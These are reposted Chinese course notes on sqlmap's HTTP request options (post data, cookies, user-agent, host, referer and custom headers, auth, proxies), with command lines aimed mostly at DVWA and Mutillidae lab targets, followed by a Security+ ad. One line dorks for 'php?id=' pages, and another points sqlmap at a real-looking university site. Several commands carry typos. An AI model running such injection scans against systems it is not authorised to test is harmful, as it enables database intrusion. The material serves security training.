【安全牛學習筆記】SQLMAP自動注入-REQUEST

來源:互聯網
上載者:User

標籤:資訊安全   security+   sqlmap自動注入   


SQLMAP自動注入-----REQUEST

資料區段:   --data

    get/post都適用

    sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f

變數分隔字元:--param-del

    http://1.1.1.1/a.php?q=foo;id=1    // ;  &

    sqlmap -u "http://1.1.1.1/a.php" --data="q=foo:id=1" --param-del=";" -f

cookie頭: --cookie

    web應用需要基於cookie的身份認證

    檢查cookie中的注入點(sqlmap自動化的測試)

    Set-Cookie / --drop-set-cookie

    sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="a=1;b=2" -f

[email protected]:~# sqlmap -u "http://192.168.1.121/mtillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" --dbs

[email protected]:~# sqlmap -u "http://192.168.1.121mutillidae/index.php" --date="page=user-info.php&username=1&password=1&user-info-php-submit-butto=View+Account+Details" --users

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --dbs

SQLMAP自動注入-----REQUEST

--user-agent

    sqlmap/1.0-dev-xxxxxx(http://sqlmap.org)

--random-agent

    /user/share/sqlmap/txt/user-agents.txt

sqlmap檢查user-agent中的注入點:Leve>=3

APP/WAF/IPS/IDS過濾異常user-agent時報錯

    [hh:mm:20][ERROR] the target URL responded with an unknow HTTP

    Status code,try to force the HTTP User-Agent header with option --user-

    agent or --random-agent

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --level 2 --dbs

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --random-agent --dbs

tcp.stream eq 1

tcp.stream eq 2

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --user-agent="aaaaaaaaaaaaaaaaa" --dbs

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --level 3 --dbs\

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --host="aaaaaaaaaaaaaaaaaa" -f

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" --level -f

SQLMAP自動注入-----REQUEST

Host頭:--host

    Level=5

Referer頭:--referer

    Level>=3

額外的header:--headers

    每個頭單獨一行(名稱分區大小寫)

    sqlmap -u "http://1.1.1.1/a.php?id=1" --

    header="host:www.a.com\nUser-Agent:yuanfh"

--method=GET/POST

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" ----referer="aaaaaaaaaaaaaaaaaa" -f

[email protected]:~# sqlmap -u "http:/192.168.1.121/dvwa/vulnerabilites/sqli/?id=1&sSubmit#" --cookie="security=low;PHPSHEEID=48cr8s0v5420dc62ef81b5af13c6e26e" ----headers="Host:www.abc.com\nUser-Agent:bbbbbb\n" -f

SQLMAP自動注入-----REQUEST

基於HTTP協議的身分識別驗證

    Basic

    Digest

    NTLM

    sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basice --auth-cred "user:pass"

--auth-cert / --ath-file

    --ath-file="ca.PEM

    含有私人的PEM格式認證檔案

    PEM格式的憑證鏈結檔案

SQLMAP自動注入-----REQUEST

http(s)代理

    --proxy="http://127.0.0.1:8087"

    --proxy-cred="name:pass"

    --ignore-proxy

        忽略系統級代理設定,通常用於掃描本網目標

sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http//127.0.0.1:8087" -f

inurl:php?id=

[email protected]:~# sqlmap -u "http://zsb.ybu.edu.cn/index.php?id=135" --proxy="http//127.0.0.1:8087" -f

該筆記為安全牛課堂學員筆記,想看此課程或者資訊安全類乾貨可以移步到安全牛課堂


Security+認證為什麼是互連網+時代最火爆的認證?

      牛妹先給大家介紹一下Security+


        Security+ 認證是一種中立第三方認證,其發證機構為美國電腦行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重資訊安全管理相比,Security+ 認證更偏重資訊安全技術和操作。

       通過該認證證明了您具備網路安全,合規性和操作安全,威脅和漏洞,應用程式、資料和主機安全,存取控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍採納。

Security+認證如此火爆的原因?  

       原因一:在所有資訊安全認證當中,偏重資訊安全技術的認證是空白的, Security+認證正好可以彌補資訊安全技術領域的空白 。

      目前行業內受認可的資訊安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重資訊安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的資訊安全工作經驗都要5年以上,CISP也要求大專學曆4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重資訊安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

       原因二: IT營運人員工作與翻身的利器。

       在銀行、證券、保險、資訊通訊等行業,IT營運人員非常多,IT營運涉及的工作面也非常廣。是一個集網路、系統、安全、應用架構、儲存為一體的綜合性技術崗。雖然沒有程式猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如營運苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT營運人員學習網路安全知識,掌握網路安全實踐。職業發展朝著網路安全的方向發展,解決國內資訊安全人才的匱乏問題。另外,即使不轉型,要做好營運工作,學習安全知識取得安全認證也是必不可少的。

        原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在資訊安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互連網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

        在目前的資訊安全大潮之下,人才是資訊安全發展的關鍵。而目前國內的資訊安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的資訊安全認證。


【安全牛學習筆記】SQLMAP自動注入-REQUEST

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.